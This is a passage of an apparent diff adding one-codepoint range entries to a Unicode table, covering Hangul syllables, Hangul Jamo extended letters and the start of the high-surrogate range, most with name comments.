+ [0xd671, 0xd671], /* Hangul Syllable */
+ [0xd672, 0xd672], /* Hangul Syllable */
+ [0xd673, 0xd673], /* Hangul Syllable */
+ [0xd674, 0xd674], /* Hangul Syllable */
+ [0xd675, 0xd675], /* Hangul Syllable */
+ [0xd676, 0xd676], /* Hangul Syllable */
+ [0xd677, 0xd677], /* Hangul Syllable */
+ [0xd678, 0xd678], /* Hangul Syllable */
+ [0xd679, 0xd679], /* Hangul Syllable */
+ [0xd67a, 0xd67a], /* Hangul Syllable */
+ [0xd67b, 0xd67b], /* Hangul Syllable */
+ [0xd67c, 0xd67c], /* Hangul Syllable */
+ [0xd67d, 0xd67d], /* Hangul Syllable */
+ [0xd67e, 0xd67e], /* Hangul Syllable */
+ [0xd67f, 0xd67f], /* Hangul Syllable */
+ [0xd680, 0xd680], /* Hangul Syllable */
+ [0xd681, 0xd681], /* Hangul Syllable */
+ [0xd682, 0xd682], /* Hangul Syllable */
+ [0xd683, 0xd683], /* Hangul Syllable */
+ [0xd684, 0xd684], /* Hangul Syllable */
+ [0xd685, 0xd685], /* Hangul Syllable */
+ [0xd686, 0xd686], /* Hangul Syllable */
+ [0xd687, 0xd687], /* Hangul Syllable */
+ [0xd688, 0xd688], /* Hangul Syllable */
+ [0xd689, 0xd689], /* Hangul Syllable */
+ [0xd68a, 0xd68a], /* Hangul Syllable */
+ [0xd68b, 0xd68b], /* Hangul Syllable */
+ [0xd68c, 0xd68c], /* Hangul Syllable */
+ [0xd68d, 0xd68d], /* Hangul Syllable */
+ [0xd68e, 0xd68e], /* Hangul Syllable */
+ [0xd68f, 0xd68f], /* Hangul Syllable */
+ [0xd690, 0xd690], /* Hangul Syllable */
+ [0xd691, 0xd691], /* Hangul Syllable */
+ [0xd692, 0xd692], /* Hangul Syllable */
+ [0xd693, 0xd693], /* Hangul Syllable */
+ [0xd694, 0xd694], /* Hangul Syllable */
+ [0xd695, 0xd695], /* Hangul Syllable */
+ [0xd696, 0xd696], /* Hangul Syllable */
+ [0xd697, 0xd697], /* Hangul Syllable */
+ [0xd698, 0xd698], /* Hangul Syllable */
+ [0xd699, 0xd699], /* Hangul Syllable */
+ [0xd69a, 0xd69a], /* Hangul Syllable */
+ [0xd69b, 0xd69b], /* Hangul Syllable */
+ [0xd69c, 0xd69c], /* Hangul Syllable */
+ [0xd69d, 0xd69d], /* Hangul Syllable */
+ [0xd69e, 0xd69e], /* Hangul Syllable */
+ [0xd69f, 0xd69f], /* Hangul Syllable */
+ [0xd6a0, 0xd6a0], /* Hangul Syllable */
+ [0xd6a1, 0xd6a1], /* Hangul Syllable */
+ [0xd6a2, 0xd6a2], /* Hangul Syllable */
+ [0xd6a3, 0xd6a3], /* Hangul Syllable */
+ [0xd6a4, 0xd6a4], /* Hangul Syllable */
+ [0xd6a5, 0xd6a5], /* Hangul Syllable */
+ [0xd6a6, 0xd6a6], /* Hangul Syllable */
+ [0xd6a7, 0xd6a7], /* Hangul Syllable */
+ [0xd6a8, 0xd6a8], /* Hangul Syllable */
+ [0xd6a9, 0xd6a9], /* Hangul Syllable */
+ [0xd6aa, 0xd6aa], /* Hangul Syllable */
+ [0xd6ab, 0xd6ab], /* Hangul Syllable */
+ [0xd6ac, 0xd6ac], /* Hangul Syllable */
+ [0xd6ad, 0xd6ad], /* Hangul Syllable */
+ [0xd6ae, 0xd6ae], /* Hangul Syllable */
+ [0xd6af, 0xd6af], /* Hangul Syllable */
+ [0xd6b0, 0xd6b0], /* Hangul Syllable */
+ [0xd6b1, 0xd6b1], /* Hangul Syllable */
+ [0xd6b2, 0xd6b2], /* Hangul Syllable */
+ [0xd6b3, 0xd6b3], /* Hangul Syllable */
+ [0xd6b4, 0xd6b4], /* Hangul Syllable */
+ [0xd6b5, 0xd6b5], /* Hangul Syllable */
+ [0xd6b6, 0xd6b6], /* Hangul Syllable */
+ [0xd6b7, 0xd6b7], /* Hangul Syllable */
+ [0xd6b8, 0xd6b8], /* Hangul Syllable */
+ [0xd6b9, 0xd6b9], /* Hangul Syllable */
+ [0xd6ba, 0xd6ba], /* Hangul Syllable */
+ [0xd6bb, 0xd6bb], /* Hangul Syllable */
+ [0xd6bc, 0xd6bc], /* Hangul Syllable */
+ [0xd6bd, 0xd6bd], /* Hangul Syllable */
+ [0xd6be, 0xd6be], /* Hangul Syllable */
+ [0xd6bf, 0xd6bf], /* Hangul Syllable */
+ [0xd6c0, 0xd6c0], /* Hangul Syllable */
+ [0xd6c1, 0xd6c1], /* Hangul Syllable */
+ [0xd6c2, 0xd6c2], /* Hangul Syllable */
+ [0xd6c3, 0xd6c3], /* Hangul Syllable */
+ [0xd6c4, 0xd6c4], /* Hangul Syllable */
+ [0xd6c5, 0xd6c5], /* Hangul Syllable */
+ [0xd6c6, 0xd6c6], /* Hangul Syllable */
+ [0xd6c7, 0xd6c7], /* Hangul Syllable */
+ [0xd6c8, 0xd6c8], /* Hangul Syllable */
+ [0xd6c9, 0xd6c9], /* Hangul Syllable */
+ [0xd6ca, 0xd6ca], /* Hangul Syllable */
+ [0xd6cb, 0xd6cb], /* Hangul Syllable */
+ [0xd6cc, 0xd6cc], /* Hangul Syllable */
+ [0xd6cd, 0xd6cd], /* Hangul Syllable */
+ [0xd6ce, 0xd6ce], /* Hangul Syllable */
+ [0xd6cf, 0xd6cf], /* Hangul Syllable */
+ [0xd6d0, 0xd6d0], /* Hangul Syllable */
+ [0xd6d1, 0xd6d1], /* Hangul Syllable */
+ [0xd6d2, 0xd6d2], /* Hangul Syllable */
+ [0xd6d3, 0xd6d3], /* Hangul Syllable */
+ [0xd6d4, 0xd6d4], /* Hangul Syllable */
+ [0xd6d5, 0xd6d5], /* Hangul Syllable */
+ [0xd6d6, 0xd6d6], /* Hangul Syllable */
+ [0xd6d7, 0xd6d7], /* Hangul Syllable */
+ [0xd6d8, 0xd6d8], /* Hangul Syllable */
+ [0xd6d9, 0xd6d9], /* Hangul Syllable */
+ [0xd6da, 0xd6da], /* Hangul Syllable */
+ [0xd6db, 0xd6db], /* Hangul Syllable */
+ [0xd6dc, 0xd6dc], /* Hangul Syllable */
+ [0xd6dd, 0xd6dd], /* Hangul Syllable */
+ [0xd6de, 0xd6de], /* Hangul Syllable */
+ [0xd6df, 0xd6df], /* Hangul Syllable */
+ [0xd6e0, 0xd6e0], /* Hangul Syllable */
+ [0xd6e1, 0xd6e1], /* Hangul Syllable */
+ [0xd6e2, 0xd6e2], /* Hangul Syllable */
+ [0xd6e3, 0xd6e3], /* Hangul Syllable */
+ [0xd6e4, 0xd6e4], /* Hangul Syllable */
+ [0xd6e5, 0xd6e5], /* Hangul Syllable */
+ [0xd6e6, 0xd6e6], /* Hangul Syllable */
+ [0xd6e7, 0xd6e7], /* Hangul Syllable */
+ [0xd6e8, 0xd6e8], /* Hangul Syllable */
+ [0xd6e9, 0xd6e9], /* Hangul Syllable */
+ [0xd6ea, 0xd6ea], /* Hangul Syllable */
+ [0xd6eb, 0xd6eb], /* Hangul Syllable */
+ [0xd6ec, 0xd6ec], /* Hangul Syllable */
+ [0xd6ed, 0xd6ed], /* Hangul Syllable */
+ [0xd6ee, 0xd6ee], /* Hangul Syllable */
+ [0xd6ef, 0xd6ef], /* Hangul Syllable */
+ [0xd6f0, 0xd6f0], /* Hangul Syllable */
+ [0xd6f1, 0xd6f1], /* Hangul Syllable */
+ [0xd6f2, 0xd6f2], /* Hangul Syllable */
+ [0xd6f3, 0xd6f3], /* Hangul Syllable */
+ [0xd6f4, 0xd6f4], /* Hangul Syllable */
+ [0xd6f5, 0xd6f5], /* Hangul Syllable */
+ [0xd6f6, 0xd6f6], /* Hangul Syllable */
+ [0xd6f7, 0xd6f7], /* Hangul Syllable */
+ [0xd6f8, 0xd6f8], /* Hangul Syllable */
+ [0xd6f9, 0xd6f9], /* Hangul Syllable */
+ [0xd6fa, 0xd6fa], /* Hangul Syllable */
+ [0xd6fb, 0xd6fb], /* Hangul Syllable */
+ [0xd6fc, 0xd6fc], /* Hangul Syllable */
+ [0xd6fd, 0xd6fd], /* Hangul Syllable */
+ [0xd6fe, 0xd6fe], /* Hangul Syllable */
+ [0xd6ff, 0xd6ff], /* Hangul Syllable */
+ [0xd700, 0xd700], /* Hangul Syllable */
+ [0xd701, 0xd701], /* Hangul Syllable */
+ [0xd702, 0xd702], /* Hangul Syllable */
+ [0xd703, 0xd703], /* Hangul Syllable */
+ [0xd704, 0xd704], /* Hangul Syllable */
+ [0xd705, 0xd705], /* Hangul Syllable */
+ [0xd706, 0xd706], /* Hangul Syllable */
+ [0xd707, 0xd707], /* Hangul Syllable */
+ [0xd708, 0xd708], /* Hangul Syllable */
+ [0xd709, 0xd709], /* Hangul Syllable */
+ [0xd70a, 0xd70a], /* Hangul Syllable */
+ [0xd70b, 0xd70b], /* Hangul Syllable */
+ [0xd70c, 0xd70c], /* Hangul Syllable */
+ [0xd70d, 0xd70d], /* Hangul Syllable */
+ [0xd70e, 0xd70e], /* Hangul Syllable */
+ [0xd70f, 0xd70f], /* Hangul Syllable */
+ [0xd710, 0xd710], /* Hangul Syllable */
+ [0xd711, 0xd711], /* Hangul Syllable */
+ [0xd712, 0xd712], /* Hangul Syllable */
+ [0xd713, 0xd713], /* Hangul Syllable */
+ [0xd714, 0xd714], /* Hangul Syllable */
+ [0xd715, 0xd715], /* Hangul Syllable */
+ [0xd716, 0xd716], /* Hangul Syllable */
+ [0xd717, 0xd717], /* Hangul Syllable */
+ [0xd718, 0xd718], /* Hangul Syllable */
+ [0xd719, 0xd719], /* Hangul Syllable */
+ [0xd71a, 0xd71a], /* Hangul Syllable */
+ [0xd71b, 0xd71b], /* Hangul Syllable */
+ [0xd71c, 0xd71c], /* Hangul Syllable */
+ [0xd71d, 0xd71d], /* Hangul Syllable */
+ [0xd71e, 0xd71e], /* Hangul Syllable */
+ [0xd71f, 0xd71f], /* Hangul Syllable */
+ [0xd720, 0xd720], /* Hangul Syllable */
+ [0xd721, 0xd721], /* Hangul Syllable */
+ [0xd722, 0xd722], /* Hangul Syllable */
+ [0xd723, 0xd723], /* Hangul Syllable */
+ [0xd724, 0xd724], /* Hangul Syllable */
+ [0xd725, 0xd725], /* Hangul Syllable */
+ [0xd726, 0xd726], /* Hangul Syllable */
+ [0xd727, 0xd727], /* Hangul Syllable */
+ [0xd728, 0xd728], /* Hangul Syllable */
+ [0xd729, 0xd729], /* Hangul Syllable */
+ [0xd72a, 0xd72a], /* Hangul Syllable */
+ [0xd72b, 0xd72b], /* Hangul Syllable */
+ [0xd72c, 0xd72c], /* Hangul Syllable */
+ [0xd72d, 0xd72d], /* Hangul Syllable */
+ [0xd72e, 0xd72e], /* Hangul Syllable */
+ [0xd72f, 0xd72f], /* Hangul Syllable */
+ [0xd730, 0xd730], /* Hangul Syllable */
+ [0xd731, 0xd731], /* Hangul Syllable */
+ [0xd732, 0xd732], /* Hangul Syllable */
+ [0xd733, 0xd733], /* Hangul Syllable */
+ [0xd734, 0xd734], /* Hangul Syllable */
+ [0xd735, 0xd735], /* Hangul Syllable */
+ [0xd736, 0xd736], /* Hangul Syllable */
+ [0xd737, 0xd737], /* Hangul Syllable */
+ [0xd738, 0xd738], /* Hangul Syllable */
+ [0xd739, 0xd739], /* Hangul Syllable */
+ [0xd73a, 0xd73a], /* Hangul Syllable */
+ [0xd73b, 0xd73b], /* Hangul Syllable */
+ [0xd73c, 0xd73c], /* Hangul Syllable */
+ [0xd73d, 0xd73d], /* Hangul Syllable */
+ [0xd73e, 0xd73e], /* Hangul Syllable */
+ [0xd73f, 0xd73f], /* Hangul Syllable */
+ [0xd740, 0xd740], /* Hangul Syllable */
+ [0xd741, 0xd741], /* Hangul Syllable */
+ [0xd742, 0xd742], /* Hangul Syllable */
+ [0xd743, 0xd743], /* Hangul Syllable */
+ [0xd744, 0xd744], /* Hangul Syllable */
+ [0xd745, 0xd745], /* Hangul Syllable */
+ [0xd746, 0xd746], /* Hangul Syllable */
+ [0xd747, 0xd747], /* Hangul Syllable */
+ [0xd748, 0xd748], /* Hangul Syllable */
+ [0xd749, 0xd749], /* Hangul Syllable */
+ [0xd74a, 0xd74a], /* Hangul Syllable */
+ [0xd74b, 0xd74b], /* Hangul Syllable */
+ [0xd74c, 0xd74c], /* Hangul Syllable */
+ [0xd74d, 0xd74d], /* Hangul Syllable */
+ [0xd74e, 0xd74e], /* Hangul Syllable */
+ [0xd74f, 0xd74f], /* Hangul Syllable */
+ [0xd750, 0xd750], /* Hangul Syllable */
+ [0xd751, 0xd751], /* Hangul Syllable */
+ [0xd752, 0xd752], /* Hangul Syllable */
+ [0xd753, 0xd753], /* Hangul Syllable */
+ [0xd754, 0xd754], /* Hangul Syllable */
+ [0xd755, 0xd755], /* Hangul Syllable */
+ [0xd756, 0xd756], /* Hangul Syllable */
+ [0xd757, 0xd757], /* Hangul Syllable */
+ [0xd758, 0xd758], /* Hangul Syllable */
+ [0xd759, 0xd759], /* Hangul Syllable */
+ [0xd75a, 0xd75a], /* Hangul Syllable */
+ [0xd75b, 0xd75b], /* Hangul Syllable */
+ [0xd75c, 0xd75c], /* Hangul Syllable */
+ [0xd75d, 0xd75d], /* Hangul Syllable */
+ [0xd75e, 0xd75e], /* Hangul Syllable */
+ [0xd75f, 0xd75f], /* Hangul Syllable */
+ [0xd760, 0xd760], /* Hangul Syllable */
+ [0xd761, 0xd761], /* Hangul Syllable */
+ [0xd762, 0xd762], /* Hangul Syllable */
+ [0xd763, 0xd763], /* Hangul Syllable */
+ [0xd764, 0xd764], /* Hangul Syllable */
+ [0xd765, 0xd765], /* Hangul Syllable */
+ [0xd766, 0xd766], /* Hangul Syllable */
+ [0xd767, 0xd767], /* Hangul Syllable */
+ [0xd768, 0xd768], /* Hangul Syllable */
+ [0xd769, 0xd769], /* Hangul Syllable */
+ [0xd76a, 0xd76a], /* Hangul Syllable */
+ [0xd76b, 0xd76b], /* Hangul Syllable */
+ [0xd76c, 0xd76c], /* Hangul Syllable */
+ [0xd76d, 0xd76d], /* Hangul Syllable */
+ [0xd76e, 0xd76e], /* Hangul Syllable */
+ [0xd76f, 0xd76f], /* Hangul Syllable */
+ [0xd770, 0xd770], /* Hangul Syllable */
+ [0xd771, 0xd771], /* Hangul Syllable */
+ [0xd772, 0xd772], /* Hangul Syllable */
+ [0xd773, 0xd773], /* Hangul Syllable */
+ [0xd774, 0xd774], /* Hangul Syllable */
+ [0xd775, 0xd775], /* Hangul Syllable */
+ [0xd776, 0xd776], /* Hangul Syllable */
+ [0xd777, 0xd777], /* Hangul Syllable */
+ [0xd778, 0xd778], /* Hangul Syllable */
+ [0xd779, 0xd779], /* Hangul Syllable */
+ [0xd77a, 0xd77a], /* Hangul Syllable */
+ [0xd77b, 0xd77b], /* Hangul Syllable */
+ [0xd77c, 0xd77c], /* Hangul Syllable */
+ [0xd77d, 0xd77d], /* Hangul Syllable */
+ [0xd77e, 0xd77e], /* Hangul Syllable */
+ [0xd77f, 0xd77f], /* Hangul Syllable */
+ [0xd780, 0xd780], /* Hangul Syllable */
+ [0xd781, 0xd781], /* Hangul Syllable */
+ [0xd782, 0xd782], /* Hangul Syllable */
+ [0xd783, 0xd783], /* Hangul Syllable */
+ [0xd784, 0xd784], /* Hangul Syllable */
+ [0xd785, 0xd785], /* Hangul Syllable */
+ [0xd786, 0xd786], /* Hangul Syllable */
+ [0xd787, 0xd787], /* Hangul Syllable */
+ [0xd788, 0xd788], /* Hangul Syllable */
+ [0xd789, 0xd789], /* Hangul Syllable */
+ [0xd78a, 0xd78a], /* Hangul Syllable */
+ [0xd78b, 0xd78b], /* Hangul Syllable */
+ [0xd78c, 0xd78c], /* Hangul Syllable */
+ [0xd78d, 0xd78d], /* Hangul Syllable */
+ [0xd78e, 0xd78e], /* Hangul Syllable */
+ [0xd78f, 0xd78f], /* Hangul Syllable */
+ [0xd790, 0xd790], /* Hangul Syllable */
+ [0xd791, 0xd791], /* Hangul Syllable */
+ [0xd792, 0xd792], /* Hangul Syllable */
+ [0xd793, 0xd793], /* Hangul Syllable */
+ [0xd794, 0xd794], /* Hangul Syllable */
+ [0xd795, 0xd795], /* Hangul Syllable */
+ [0xd796, 0xd796], /* Hangul Syllable */
+ [0xd797, 0xd797], /* Hangul Syllable */
+ [0xd798, 0xd798], /* Hangul Syllable */
+ [0xd799, 0xd799], /* Hangul Syllable */
+ [0xd79a, 0xd79a], /* Hangul Syllable */
+ [0xd79b, 0xd79b], /* Hangul Syllable */
+ [0xd79c, 0xd79c], /* Hangul Syllable */
+ [0xd79d, 0xd79d], /* Hangul Syllable */
+ [0xd79e, 0xd79e], /* Hangul Syllable */
+ [0xd79f, 0xd79f], /* Hangul Syllable */
+ [0xd7a0, 0xd7a0], /* Hangul Syllable */
+ [0xd7a1, 0xd7a1], /* Hangul Syllable */
+ [0xd7a2, 0xd7a2], /* Hangul Syllable */
+ [0xd7a3, 0xd7a3], /* Hangul Syllable */
+ [0xd7a4, 0xd7a4],
+ [0xd7a5, 0xd7a5],
+ [0xd7a6, 0xd7a6],
+ [0xd7a7, 0xd7a7],
+ [0xd7a8, 0xd7a8],
+ [0xd7a9, 0xd7a9],
+ [0xd7aa, 0xd7aa],
+ [0xd7ab, 0xd7ab],
+ [0xd7ac, 0xd7ac],
+ [0xd7ad, 0xd7ad],
+ [0xd7ae, 0xd7ae],
+ [0xd7af, 0xd7af],
+ [0xd7b0, 0xd7b0], /* HANGUL JUNGSEONG O-YEO */
+ [0xd7b1, 0xd7b1], /* HANGUL JUNGSEONG O-O-I */
+ [0xd7b2, 0xd7b2], /* HANGUL JUNGSEONG YO-A */
+ [0xd7b3, 0xd7b3], /* HANGUL JUNGSEONG YO-AE */
+ [0xd7b4, 0xd7b4], /* HANGUL JUNGSEONG YO-EO */
+ [0xd7b5, 0xd7b5], /* HANGUL JUNGSEONG U-YEO */
+ [0xd7b6, 0xd7b6], /* HANGUL JUNGSEONG U-I-I */
+ [0xd7b7, 0xd7b7], /* HANGUL JUNGSEONG YU-AE */
+ [0xd7b8, 0xd7b8], /* HANGUL JUNGSEONG YU-O */
+ [0xd7b9, 0xd7b9], /* HANGUL JUNGSEONG EU-A */
+ [0xd7ba, 0xd7ba], /* HANGUL JUNGSEONG EU-EO */
+ [0xd7bb, 0xd7bb], /* HANGUL JUNGSEONG EU-E */
+ [0xd7bc, 0xd7bc], /* HANGUL JUNGSEONG EU-O */
+ [0xd7bd, 0xd7bd], /* HANGUL JUNGSEONG I-YA-O */
+ [0xd7be, 0xd7be], /* HANGUL JUNGSEONG I-YAE */
+ [0xd7bf, 0xd7bf], /* HANGUL JUNGSEONG I-YEO */
+ [0xd7c0, 0xd7c0], /* HANGUL JUNGSEONG I-YE */
+ [0xd7c1, 0xd7c1], /* HANGUL JUNGSEONG I-O-I */
+ [0xd7c2, 0xd7c2], /* HANGUL JUNGSEONG I-YO */
+ [0xd7c3, 0xd7c3], /* HANGUL JUNGSEONG I-YU */
+ [0xd7c4, 0xd7c4], /* HANGUL JUNGSEONG I-I */
+ [0xd7c5, 0xd7c5], /* HANGUL JUNGSEONG ARAEA-A */
+ [0xd7c6, 0xd7c6], /* HANGUL JUNGSEONG ARAEA-E */
+ [0xd7c7, 0xd7c7],
+ [0xd7c8, 0xd7c8],
+ [0xd7c9, 0xd7c9],
+ [0xd7ca, 0xd7ca],
+ [0xd7cb, 0xd7cb], /* HANGUL JONGSEONG NIEUN-RIEUL */
+ [0xd7cc, 0xd7cc], /* HANGUL JONGSEONG NIEUN-CHIEUCH */
+ [0xd7cd, 0xd7cd], /* HANGUL JONGSEONG SSANGTIKEUT */
+ [0xd7ce, 0xd7ce], /* HANGUL JONGSEONG SSANGTIKEUT-PIEUP */
+ [0xd7cf, 0xd7cf], /* HANGUL JONGSEONG TIKEUT-PIEUP */
+ [0xd7d0, 0xd7d0], /* HANGUL JONGSEONG TIKEUT-SIOS */
+ [0xd7d1, 0xd7d1], /* HANGUL JONGSEONG TIKEUT-SIOS-KIYEOK */
+ [0xd7d2, 0xd7d2], /* HANGUL JONGSEONG TIKEUT-CIEUC */
+ [0xd7d3, 0xd7d3], /* HANGUL JONGSEONG TIKEUT-CHIEUCH */
+ [0xd7d4, 0xd7d4], /* HANGUL JONGSEONG TIKEUT-THIEUTH */
+ [0xd7d5, 0xd7d5], /* HANGUL JONGSEONG RIEUL-SSANGKIYEOK */
+ [0xd7d6, 0xd7d6], /* HANGUL JONGSEONG RIEUL-KIYEOK-HIEUH */
+ [0xd7d7, 0xd7d7], /* HANGUL JONGSEONG SSANGRIEUL-KHIEUKH */
+ [0xd7d8, 0xd7d8], /* HANGUL JONGSEONG RIEUL-MIEUM-HIEUH */
+ [0xd7d9, 0xd7d9], /* HANGUL JONGSEONG RIEUL-PIEUP-TIKEUT */
+ [0xd7da, 0xd7da], /* HANGUL JONGSEONG RIEUL-PIEUP-PHIEUPH */
+ [0xd7db, 0xd7db], /* HANGUL JONGSEONG RIEUL-YESIEUNG */
+ [0xd7dc, 0xd7dc], /* HANGUL JONGSEONG RIEUL-YEORINHIEUH-HIEUH */
+ [0xd7dd, 0xd7dd], /* HANGUL JONGSEONG KAPYEOUNRIEUL */
+ [0xd7de, 0xd7de], /* HANGUL JONGSEONG MIEUM-NIEUN */
+ [0xd7df, 0xd7df], /* HANGUL JONGSEONG MIEUM-SSANGNIEUN */
+ [0xd7e0, 0xd7e0], /* HANGUL JONGSEONG SSANGMIEUM */
+ [0xd7e1, 0xd7e1], /* HANGUL JONGSEONG MIEUM-PIEUP-SIOS */
+ [0xd7e2, 0xd7e2], /* HANGUL JONGSEONG MIEUM-CIEUC */
+ [0xd7e3, 0xd7e3], /* HANGUL JONGSEONG PIEUP-TIKEUT */
+ [0xd7e4, 0xd7e4], /* HANGUL JONGSEONG PIEUP-RIEUL-PHIEUPH */
+ [0xd7e5, 0xd7e5], /* HANGUL JONGSEONG PIEUP-MIEUM */
+ [0xd7e6, 0xd7e6], /* HANGUL JONGSEONG SSANGPIEUP */
+ [0xd7e7, 0xd7e7], /* HANGUL JONGSEONG PIEUP-SIOS-TIKEUT */
+ [0xd7e8, 0xd7e8], /* HANGUL JONGSEONG PIEUP-CIEUC */
+ [0xd7e9, 0xd7e9], /* HANGUL JONGSEONG PIEUP-CHIEUCH */
+ [0xd7ea, 0xd7ea], /* HANGUL JONGSEONG SIOS-MIEUM */
+ [0xd7eb, 0xd7eb], /* HANGUL JONGSEONG SIOS-KAPYEOUNPIEUP */
+ [0xd7ec, 0xd7ec], /* HANGUL JONGSEONG SSANGSIOS-KIYEOK */
+ [0xd7ed, 0xd7ed], /* HANGUL JONGSEONG SSANGSIOS-TIKEUT */
+ [0xd7ee, 0xd7ee], /* HANGUL JONGSEONG SIOS-PANSIOS */
+ [0xd7ef, 0xd7ef], /* HANGUL JONGSEONG SIOS-CIEUC */
+ [0xd7f0, 0xd7f0], /* HANGUL JONGSEONG SIOS-CHIEUCH */
+ [0xd7f1, 0xd7f1], /* HANGUL JONGSEONG SIOS-THIEUTH */
+ [0xd7f2, 0xd7f2], /* HANGUL JONGSEONG SIOS-HIEUH */
+ [0xd7f3, 0xd7f3], /* HANGUL JONGSEONG PANSIOS-PIEUP */
+ [0xd7f4, 0xd7f4], /* HANGUL JONGSEONG PANSIOS-KAPYEOUNPIEUP */
+ [0xd7f5, 0xd7f5], /* HANGUL JONGSEONG YESIEUNG-MIEUM */
+ [0xd7f6, 0xd7f6], /* HANGUL JONGSEONG YESIEUNG-HIEUH */
+ [0xd7f7, 0xd7f7], /* HANGUL JONGSEONG CIEUC-PIEUP */
+ [0xd7f8, 0xd7f8], /* HANGUL JONGSEONG CIEUC-SSANGPIEUP */
+ [0xd7f9, 0xd7f9], /* HANGUL JONGSEONG SSANGCIEUC */
+ [0xd7fa, 0xd7fa], /* HANGUL JONGSEONG PHIEUPH-SIOS */
+ [0xd7fb, 0xd7fb], /* HANGUL JONGSEONG PHIEUPH-THIEUTH */
+ [0xd7fc, 0xd7fc],
+ [0xd7fd, 0xd7fd],
+ [0xd7fe, 0xd7fe],
+ [0xd7ff, 0xd7ff],
+ [0xd800, 0xd800], /* Non Private Use High Surrogate */
+ [0xd801, 0xd801], /* Non Private Use High Surrogate */
+ [0xd802, 0xd802], /* Non Private Use High Surrogate */
+ [0xd803, 0xd803], /* Non Private Use High Surrogate */
+ [0xd804, 0xd804], /* Non Private Use High Surrogate */
+ [0xd805, 0xd805], /* Non Private Use High Surrogate */
+ [0xd806, 0xd806], /* Non Private Use High Surrogate */
+ [0xd807, 0xd807], /* Non Private Use High Surrogate */
+ [0xd808, 0xd808], /* Non Private Use High Surrogate */
+ [0xd809, 0xd809], /* Non Private Use High Surrogate */
+ [0xd80a, 0xd80a], /* Non Private Use High Surrogate */
+ [0xd80b, 0xd80b], /* Non Private Use High Surrogate */
+ [0xd80c, 0xd80c], /* Non Private Use High Surrogate */
+ [0xd80d, 0xd80d], /* Non Private Use High Surrogate */
+ [0xd80e, 0xd80e], /* Non Private Use High Surrogate */
+ [0xd80f, 0xd80f], /* Non Private Use High Surrogate */
+ [0xd810, 0xd810], /* Non Private Use High Surrogate */
+ [0xd811, 0xd811], /* Non Private Use High Surrogate */
+ [0xd812, 0xd812], /* Non Private Use High Surrogate */
+ [0xd813, 0xd813], /* Non Private Use High Surrogate */
+ [0xd814, 0xd814], /* Non Private Use High Surrogate */
+ [0xd815, 0xd815], /* Non Private Use High Surrogate */
+ [0xd816, 0xd816], /* Non Private Use High Surrogate */
+ [0xd817, 0xd817], /* Non Private Use High Surrogate */
+ [0xd818, 0xd818], /* Non Private Use High Surrogate */
+ [0xd819, 0xd819], /* Non Private Use High Surrogate */
+ [0xd81a, 0xd81a], /* Non Private Use High Surrogate */
+ [0xd81b, 0xd81b], /* Non Private Use High Surrogate */
+ [0xd81c, 0xd81c], /* Non Private Use High Surrogate */
+ [0xd81d, 0xd81d], /* Non Private Use High Surrogate */
+ [0xd81e, 0xd81e], /* Non Private Use High Surrogate */
+ [0xd81f, 0xd81f], /* Non Private Use High Surrogate */
+ [0xd820, 0xd820], /* Non Private Use High Surrogate */
+ [0xd821, 0xd821], /* Non Private Use High Surrogate */
+ [0xd822, 0xd822], /* Non Private Use High Surrogate */
+ [0xd823, 0xd823], /* Non Private Use High Surrogate */
+ [0xd824, 0xd824], /* Non Private Use High Surrogate */
+ [0xd825, 0xd825], /* Non Private Use High Surrogate */
+ [0xd826, 0xd826], /* Non Private Use High Surrogate */
+ [0xd827, 0xd827], /* Non Private Use High Surrogate */
+ [0xd828, 0xd828], /* Non Private Use High Surrogate */
+ [0xd829, 0xd829], /* Non Private Use High Surrogate */
+ [0xd82a, 0xd82a], /* Non Private Use High Surrogate */
+ [0xd82b, 0xd82b], /* Non Private Use High Surrogate */
+ [0xd82c, 0xd82c], /* Non Private Use High Surrogate */
+ [0xd82d, 0xd82d], /* Non Private Use High Surrogate */
+ [0xd82e, 0xd82e], /* Non Private Use High Surrogate */
+ [0xd82f, 0xd82f], /* Non Private Use High Surrogate */
+ [0xd830, 0xd830], /* Non Private Use High Surrogate */
+ [0xd831, 0xd831], /* Non Private Use High Surrogate */
+ [0xd832, 0xd832], /* Non Private Use High Surrogate */
+ [0xd833, 0xd833], /* Non Private Use High Surrogate */
+ [0xd834, 0xd834], /* Non Private Use High Surrogate */
+ [0xd835, 0xd835], /* Non Private Use High Surrogate */
+ [0xd836, 0xd836], /* Non Private Use High Surrogate */
+ [0xd837, 0xd837], /* Non Private Use High Surrogate */
+ [0xd838, 0xd838], /* Non Private Use High Surrogate */
+ [0xd839, 0xd839], /* Non Private Use High Surrogate */
+ [0xd83a, 0xd83a], /* Non Private Use High Surrogate */
+ [0xd83b, 0xd83b], /* Non Private Use High Surrogate */
+ [0xd83c, 0xd83c], /* Non Private Use High Surrogate */
+ [0xd83d, 0xd83d], /* Non Private Use High Surrogate */
+ [0xd83e, 0xd83e], /* Non Private Use High Surrogate */
+ [0xd83f, 0xd83f], /* Non Private Use High Surrogate */
+ [0xd840, 0xd840], /* Non Private Use High Surrogate */
+ [0xd841, 0xd841], /* Non Private Use High Surrogate */
+ [0xd842, 0xd842], /* Non Private Use High Surrogate */
+ [0xd843, 0xd843], /* Non Private Use High Surrogate */
+ [0xd844, 0xd844], /* Non Private Use High Surrogate */
+ [0xd845, 0xd845], /* Non Private Use High Surrogate */
+ [0xd846, 0xd846], /* Non Private Use High Surrogate */
+ [0xd847, 0xd847], /* Non Private Use High Surrogate */
+ [0xd848, 0xd848], /* Non Private Use High Surrogate */
+ [0xd849, 0xd849], /* Non Private Use High Surrogate */
+ [0xd84a, 0xd84a], /* Non Private Use High Surrogate */
+ [0xd84b, 0xd84b], /* Non Private Use High Surrogate */
+ [0xd84c, 0xd84c], /* Non Private Use High Surrogate */
+ [0xd84d, 0xd84d], /* Non Private Use High Surrogate */
+ [0xd84e, 0xd84e], /* Non Private Use High Surrogate */
+ [0xd84f, 0xd84f], /* Non Private Use High Surrogate */
+ [0xd850, 0xd850], /* Non Private Use High Surrogate */
+ [0xd851, 0xd851], /* Non Private Use High Surrogate */
+ [0xd852, 0xd852], /* Non Private Use High Surrogate */
+ [0xd853, 0xd853], /* Non Private Use High Surrogate */
+ [0xd854, 0xd854], /* Non Private Use High Surrogate */
+ [0xd855, 0xd855], /* Non Private Use High Surrogate */
+ [0xd856, 0xd856], /* Non Private Use High Surrogate */
+ [0xd857, 0xd857], /* Non Private Use High Surrogate */
+ [0xd858, 0xd858], /* Non Private Use High Surrogate */
+ [0xd859, 0xd859], /* Non Private Use High Surrogate */
+ [0xd85a, 0xd85a], /* Non Private Use High Surrogate */
+ [0xd85b, 0xd85b], /* Non Private Use High Surrogate */
+ [0xd85c, 0xd85c], /* Non Private Use High Surrogate */
